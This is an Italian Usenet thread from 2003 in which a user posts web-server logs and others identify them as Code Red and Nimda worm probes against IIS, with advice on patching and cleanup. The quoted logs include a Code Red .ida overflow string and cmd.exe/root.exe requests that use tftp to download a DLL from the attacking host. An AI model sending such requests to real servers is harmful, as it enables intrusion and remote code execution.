Newsgroup: it.comp.sicurezza.varie
Titolo: Server web

Al lavoro ho una ADSL con un piccolo server WEB sulla porta 80, per uso
MOLTO
saltuario.
Quando lo lascio aperto, noto che ci sono sempre uno o due IP che si
collegano, mandano una stringa e se ne vanno, senza fare nulla.
Dal log ho visto:
[06/26/2003 - 02.12.30] [HTTP:180] 80.181.78.xx Connected.
[06/26/2003 - 02.12.30] [HTTP:180] File of Interest:
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
[06/26/2003 - 02.12.30] [HTTP:180] 80.181.78.xx disconnected.
Manda solo questo.
Chi e' e cosa fa?
L'ip degli intrusi non e' mai lo stesso.
Il mio IP non e' mai pubblicato da nessuna parte.
E' come se facessero una scansione per trovare non so cosa.
Nessun problema se uso la porta 81.
Grazie

> Chi e' e cosa fa?
Code Red...
Ruben

 u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
Codered, Nimda e/o parenti ... se il server non č IIS o se č IIS
ma č stato patchato correttamente non dovresti avere problemi
in ogni caso, se il webserver č IIS scaricati IISLockDown Tool
http://www.microsoft.com/technet/security/tools/tools/locktool.asp
Ciao
-- 
* ObiWan
DNS "fail-safe" for Windows 2000 and 9X clients.
http://ntcanuck.com
408 XP/2000 tweaks and tips
http://ntcanuck.com/tq/Tip_Quarry.htm

 E' come se facessero una scansione per trovare non so cosa.
gia'. Che sia un worm? <g>
-- 
HappyCactus - Linux User #209744 - 
http://pngstego.sourceforge.net
 
 
www.google.com
 - 
groups.google.com
/* Ci sono 10 categorie di persone al mondo: quelle che capiscono */
/* il sistema binario e quelle che non lo capiscono.              */

 u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
Code Red II o III
Fabio

E questo?
80.193.231.224 Connected.
File of Interest: /scripts/root.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/scripts/root.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20httpodbc.
dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /scripts/httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /MSADC/root.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/MSADC/root.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20httpodbc.dl
l
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /MSADC/httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest: /c/winnt/system32/cmd.exe?/c+dir
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20c
:\httpodbc.dll
Host: www
80.193.231.224 disconnected.
80.193.231.224 Connected.
File of Interest:
/c/winnt/system32/cmd.exe?/c+tftp%20-i%2080.193.231.224%20GET%20cool.dll%20d
:\httpodbc.dll
Host: www
80.193.231.224 disconnected.

 File of Interest: /scripts/root.exe?/c+dir
LOL ... mi sa che te lo sei beccato in pieno :-)
ti conviene "ripulire" il sistema e per il futuro
*prima* di pubblicare un webserver assicurati
di applicare tutte le patches e le impostazioni
di sicurezza e ..di sapere quello che fai !!
Direi .. arresta il webserver, poi fai uno scan
e clean usando ad esempio
http://housecall.trendmicro.com/housecall/start_corp.asp
poi scarica ed installa
http://www.microsoft.com/technet/security/tools/tools/locktool.asp
quindi se proprio devi riavvia il webserver.. uh, a propo
non è detto che sia codered, potrebbe anche essere
qualcuno che sta usando lo stesso exploit per "entrare"
in quel caso lo scan potrebbe anche non pulire nulla !!


 E questo?
[segue noiosa lista di tentativi di exploit]
Tentativi di exploit, appunto, pure vecchiotti (quindi probabilmente
automatici).
Finchè non dai dettagli sul tuo "piccolo server WEB" nessuno ti può dire se
sono pericolosi per te.
Comunque Google aiuta.
termoPilucco.

 di sicurezza e ..di sapere quello che fai !!
Infatti tu *lo sai* quello che fai...
E si vede!
Le tue informazioni sono completamente sballate...
Ma grazie lo stesso.

 Le tue informazioni sono completamente sballate...
Vabbè .. ciao eh .. e tanti auguri

 e se la richiesta č stata soddisfatta ...
Continuo a ripeterti che io quei files non li ho.
Non ho windows....

 Le tue informazioni sono completamente sballate...
Beata ignoranza.
Non hai dato nessuna indicazione sul tuo sistema (hai detto solo ADSL che è
l'unica cosa irrilevante).
termoPilucco.

 l'unica cosa irrilevante).
E quindi l'ignoranza e' mia?

 E quindi l'ignoranza e' mia?
Certo.
Ignori il fatto che un log va letto in base al'OS e al Web server, non in
base al tipo di connessione.
In più scarichi sugli altri le conseguenze di questa tua ignoranza.
termoPilucco.

 In piů scarichi sugli altri le conseguenze di questa tua ignoranza.
Io non scarico nulla, ma proprio qui ho imparato a non dire molto e a non
vantarsi di quello che si ha, in modo da non essere svantaggiato
sull'aggressore.
Io ho fatto una domanda, e si e' *dato per certo* che io avessi Win2K con il
Nimda, il che non e' vero.
Semmai ho suběto degli attacchi da qualcuno credendo che io li avessi....
Volevo solo capire cosa fossero quelle cose sui log.
Ora lo so, e non devo fare nessun aggiornamento.
Tutto qui.

 Tutto qui.
 
Da nessuno dei tuoi post si legge
A) il codice HTTP del server (4xx o altro)
B) che sistema operativo/server web usi
quindi hai dato informazioni incomplete, non essendoci codici di reject
chi ti ha scritto ha dedotto che tu avessi IIS.
-- 
Roberto Tagliaferri-Linux user #30785 <-> r.tagliaferri@(forse)
tosnet.it
	Il paese da dove veniva non era un paese di geni.
	Loro lo chiamavano computer umano perchč sapeva contare fino a 20.
	Nudo fino a 21

 Non ho windows....
E quando azz lo dici ... te l'hanno chiesto
in 50 quale server stravi usando, bastava
dire che hai Apache ... mappork !

 dire che hai Apache ... mappork !
A me non parevano log di apache, ma potrei sbagliarmi.


 chi ti ha scritto ha dedotto che tu avessi IIS.
... mmmh... LiteServe, direi, dai log. Un smtpd/httpd/ftpd/sarcazzd
shareware per _windows_. Questo mi sembra in disaccordo con alcune 
affermazioni precedenti... Tra l'altro supporta ISAPI, a quanto pare
(chissa' cosa succede quando carica idq.dll per eseguire un .ida).
Fabio

 A me non parevano log di apache, ma potrei sbagliarmi.
Vabbè .. uno i log prima di postarli li può
"riformattare" come vuole .. il vero problema
è che se uno posta una richiesta con *zero*
info e poi pretende di avere risposte sicure
... e oltretutto s'inc***a ....
vabbè, lasciamo stare :-)

 vabbè, lasciamo stare :-)
Sai com'e', le sQuole son finite... ;)
HappyCactus che altro che internet...


> HappyCactus che altro che internet...
In fonderia  :-) ?

 Tutto qui.
Ipocrita.
Ora lo sai perchč le persone di cui ti lamenti tanto te l'hanno detto.
Un termoPilucco che questo era meglio lasciarlo sul suo server segreto e
leggersi un giga di log.

 Comunque Google aiuta
...chi lo usa.
http://www.sundaysw.com/ssw/bart.gif
Bye, G.

 In fonderia  :-) ?
In miniera :-)

 ad un pinguino ...mi devo preoccupare?
No, non ti preoccupare, dovresti farlo se il tuo sedere 
cominciasse ad assomigliare ad una finestra :)